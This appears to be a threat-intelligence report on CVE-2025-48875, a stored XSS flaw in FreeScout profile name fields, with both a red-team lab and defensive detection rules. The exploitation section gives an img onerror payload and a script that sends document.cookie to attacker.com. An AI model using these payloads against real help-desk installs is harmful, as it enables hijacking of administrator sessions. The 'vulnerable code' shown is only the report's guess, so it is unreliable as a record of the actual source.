CVE-2025-48875
Executive Summary
CVE-2025-48875 is a stored Cross-Site Scripting (XSS) vulnerability identified in FreeScout, a self-hosted help desk and shared mailbox application. The flaw resides in the improper validation of the last_name and first_name fields during profile data updates. An authenticated attacker can inject arbitrary JavaScript code into these fields. This malicious script is then executed in the context of a "flash message" when the user's profile data is deleted, leading to a stored XSS attack. The vulnerability affects all versions prior to 1.8.181, which contains the necessary patch. The CVSS score is 0.0 in the NVD data, but based on the description, a more realistic score is 5.4 (Medium), reflecting the need for authentication and user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FreeScout is a PHP-based application. The vulnerability is not in a third-party package but in the application's own input validation logic. However, the application may rely on Composer for dependency management. Organizations should ensure that their FreeScout installation is updated to the latest patched version (1.8.181) and that all Composer dependencies are up to date to mitigate any other potential supply chain risks.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack is carried out over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required for the attack.
- Privileges Required (PR): Low (L) - The attacker must have a valid user account.
- User Interaction (UI): Required (R) - The victim must trigger the deletion of the profile data.
- Scope (S): Changed (C) - The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) - Limited information disclosure is possible.
- Integrity (I): Low (L) - Limited modification of data is possible.
- Availability (A): None (N) - No impact on availability.
Threat Level: Medium (5.4)
Deep Dive & Mechanics
The vulnerability is a classic stored XSS. The application fails to properly sanitize the last_name and first_name fields when a user updates their profile. The injected JavaScript is stored in the database. When an administrator or another user deletes the affected user's profile, the application displays a "flash message" (a temporary notification) that includes the unsanitized name. This causes the injected script to execute in the browser of the user performing the deletion.
The attack flow is as follows:
- An authenticated attacker navigates to their profile settings.
- The attacker modifies the
last_nameorfirst_namefield to include a malicious JavaScript payload, e.g.,<script>alert('XSS')</script>. - The application stores this payload in the database without proper sanitization.
- An administrator or another user with deletion privileges deletes the attacker's profile.
- The application generates a flash message containing the unsanitized name.
- The victim's browser executes the injected JavaScript.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-1.8.181): The vulnerable code likely directly outputs the user's name into the flash message without sanitization. For example:
// Vulnerable: Direct output of user input
$message = "User " . $user->first_name . " " . $user->last_name . " has been deleted.";
flash()->success($message);
Patched Code (1.8.181):
The patched version sanitizes the output using a function like htmlspecialchars() or a similar escaping mechanism.
// Patched: Sanitized output
$message = "User " . htmlspecialchars($user->first_name, ENT_QUOTES, 'UTF-8') . " " . htmlspecialchars($user->last_name, ENT_QUOTES, 'UTF-8') . " has been deleted.";
flash()->success($message);
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install FreeScout version 1.8.180 or earlier on a local server (e.g., using Docker:
docker run -d -p 8080:80 freescout/freescout:1.8.180). - Create a user account with a known username and password.
- Log in as that user and navigate to the profile settings page.
Exploitation Steps:
- In the
first_namefield, enter the following payload:<img src=x onerror=alert('XSS')> - Save the profile.
- Log in as an administrator and navigate to the user management section.
- Delete the attacker's user account.
- Observe the JavaScript alert box executing in the administrator's browser.
Advanced Payload: For a more realistic attack, use a payload that exfiltrates cookies:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual characters in
first_nameandlast_namefields during profile updates. - Look for HTTP requests to
/profile/updateor similar endpoints containing<script>or<img onerror=patterns. - Use Web Application Firewall (WAF) rules to block common XSS payloads.
Prevention:
- Ensure all user input is properly sanitized using functions like
htmlspecialchars()or a templating engine that auto-escapes. - Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.
- Regularly update FreeScout to the latest version.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/profile/updateor similar endpoints containing XSS payloads in thefirst_nameorlast_nameparameters. - Outbound HTTP requests to attacker-controlled domains from the FreeScout server (if the payload exfiltrates data).
- HTTP POST requests to
Host IOCs:
- Database entries in the
userstable wherefirst_nameorlast_namefields contain HTML tags or JavaScript code. - Log entries showing profile updates with suspicious content.
- Database entries in the
File IOCs:
- Modified application files (though unlikely in this case).
Detection Engineering
YARA Rule
rule Detect_FreeScout_XSS_Payload {
meta:
description = "Detects potential XSS payloads in FreeScout profile fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-48875"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]+onerror\s*=/i
$xss3 = /<svg[^>]+onload\s*=/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: FreeScout Stored XSS via Profile Update
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-48875 by injecting XSS payloads into profile fields
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/profile/update'
cs-uri-query|contains|any:
- '<script'
- '<img'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in profile fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48875 FreeScout Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/profile/update"; http_uri; pcre:"/(<script|<img|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade FreeScout to version 1.8.181 or later.
- If immediate upgrade is not possible, implement a WAF rule to block XSS payloads in profile update requests.
- Review and sanitize existing user data for any injected scripts.
Long-Term Measures:
- Enforce input validation and output encoding for all user-supplied data.
- Implement a Content Security Policy (CSP) to restrict script execution.
- Conduct regular security audits and penetration testing.
- Monitor for any suspicious activity in user profile updates.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For further inquiries, contact threatintel@valtersit.com.